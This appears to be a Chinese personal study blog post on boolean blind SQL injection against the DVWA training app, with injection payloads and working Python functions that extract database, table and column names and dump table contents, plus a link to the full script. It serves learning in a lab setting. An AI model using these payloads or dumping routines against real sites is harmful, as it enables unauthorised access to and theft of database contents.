搞了一下午心态崩了,问题出在刚开始就想写脚本,导致:
微信截图_20200327200659.png


用是能用,但是太复杂了。
真的以后写代码需要重视可读性。(吃完饭后我就不能进行debug了,全忘了。)

需要用到的几个函数:
ASCII ASCII函数把字符转换成ascii码值(与之对应的是char)
substr 连续的三个参数如下:字符串;起始位置;长度(需要注意的是这里是从1开始的。例如取第一个字符是substr(s,1,1),这里我卡了好久。)
length 判断返回的长度

整个流程,拿我脚本来说就是这样:
判断数据库长度
猜解数据库
判断表段个数
判断表段长度
猜解表段
猜解字段个数
猜解字段长度
猜解字段

这是我的误区。因为在脚本跑的时候根本不需要猜解长度。下面手工过程配合脚本进行盲注(编写脚本的时候还有几个致命问题,例如# 的url编码。)

一.数据库猜解

1.数据库长度猜解
在进行后续猜解时,需要明确是字符型还是数字型,还要明确是否能判断无返回时的情况。例如在dvwa中:

length(database())=4


1
2

以上为保留草稿。因为有两个比赛所以暂停了。(不得不说感觉自己差好多。慢慢跟进吧。快乐就好,我是个兴趣导向者。学到好多,BJDCTF的web都还差两题复盘完成,感觉要肝爆。。)

微信截图_20200327202757.png


在dvwa的low级别中,这里判断返回条数是否为0,还有些是根据是否报错来的,不管返回条数是多少,都是返回accses。

明确了是字符型注入后,就开始构造判断数据长度的payload:

1' and length(database())={} %23

首先使用1’闭合前面的查询,后面再跟一个where的查询条件。length获取数据库长度,{}用于等下format格式化payload。手工加上去看看。(这里要使用%23代替# 符号,不知道为啥。。我就不能直接写,可能我脸黑吧。Mark
微信截图_20200330193927.png


当数据库长度是4时,这里返回正常。当然我们不能手动猜,所以可以写脚本。
这里都要上脚本了,就不必猜长度了。直接走下一个流程。

2.数据库名猜解
使用如下payload:

1' and ascii(substr(database(),{},{}))={}%23

前面还是闭合,然后使用substr取数据库的前某个字符(试了下好像必须用ascii,直接传字符匹配不了??为毛啊。Mark)

然后自动判断下一次是否和上一次一样,如果一样就说明匹配完了。就退出:

def new_check_text_db():
    db_text=''
    num=1
    _=''  # temp变量,用来记录上一轮db_text的值
    while 1:
        for i in key:
            _=db_text
            payload="1' and ascii(substr(database(),{},{}))={} %23".format(num,1,i)
            t=requests.get(url.format(payload),headers=headers)
            if 'User ID exists in the database' in t.text:
                db_text+=chr(i)
                num+=1
                break
        if db_text==_:
            return db_text
        print('out:'+db_text)

3.猜解表段
因为太麻烦了,直接就猜表段名。前面也说了为什么不猜解表数、表长度。
既然要跑脚本嘛,就一把梭。

payload:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},{}),{},{}))={} %23

和前面理论一样,中间用‘nb’视图去查表名字:

def new_check_text_tables():
    tables=[]
    for num_biao in range(1,9999999):
        tables.append('')
        last=''
        for ranking_biao in range(1,99999999):
            for i in key:
                last=tables[num_biao-1]
                payload="1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {},{}),{},{}))={} %23".format(num_biao-1,num_biao,ranking_biao,1,i)
                t=requests.get(url.format(payload),headers=headers)
                if 'User ID exists in the database' in t.text:
                    tables[num_biao-1]+=chr(i)
                    break
            if last==tables[num_biao-1]:
                break
        if tables[num_biao-1]=='':
            tables.pop()
            return tables
        print('out:'+tables[num_biao-1])

因为这里要用两个while死循环去跑,为了方便就直接999999啦(万一真的有这么多表咋办)

4.猜解字段
这个就和猜表差不多,payload变一下:

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},{}),{},{}))={} %23

这里就需要指定表名称了。没必要把所有表都跑下来吧:(刚刚table_name忘了加双引号)

def new_check_text_columns(table):
    columns=[]
    for columns_num in range(1,999999):
        columns.append('')
        last=''
        for columns_ranking in range(1,999999):
            for i in key:
                last=columns[columns_num-1]
                payload="1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},{}),{},{}))={} %23".format(table,columns_num-1,1,columns_ranking,1,i)
                # print(payload)
                t=requests.get(url.format(payload),headers=headers)
                # print(t.url)
                if 'User ID exists in the database' in t.text:
                    columns[columns_num-1]+=chr(i)
                    break
                # print(columns[columns_num-1])
            if last==columns[columns_num-1]:
                break
        if columns[columns_num-1]=='':
            columns.pop()
            return columns
        print(columns[columns_num-1])

5.dump数据
最紧张刺激的来了。
这里就不需要nb视图了。payload:

1' and ascii(substr((select {} from {} limit {},{}),{},1))={} %23

这里需要指定段名和表名:

def new_dump(column,table):
    data=[]
    for i in range(1,999999):
        data.append('')
        temp=''
        for j in range(1,999999):
            for k in key:
                temp=data[i-1]
                payload="1' and ascii(substr((select {} from {} limit {},{}),{},1))={} %23".format(column,table,i-1,1,j,k)
                t=requests.get(url.format(payload),headers=headers)
                if 'User ID exists in the database' in t.text:
                    data[i-1]+=chr(k)
                    break
            if temp==data[i-1]:
                break
        if data[i-1]=='':
            data.pop()
            return data
        print(data[i-1])

这里又有一个坑。最后在dvwa上搭了phpmyadmin才找出来原因。
是因为没有搞懂limit的取值方法。
limit的第二个参数是返回记录行的数目。也就是说第二个参数指定为2的话,将会一直返回2行。。和substr一样,我心态崩了。前面payload中没有改的就放那里吧。当做一次教训。
整个利用exp传GitHub了:https://github.com/xiaoyue2019/ctf_scr

微信截图_20200330234046.png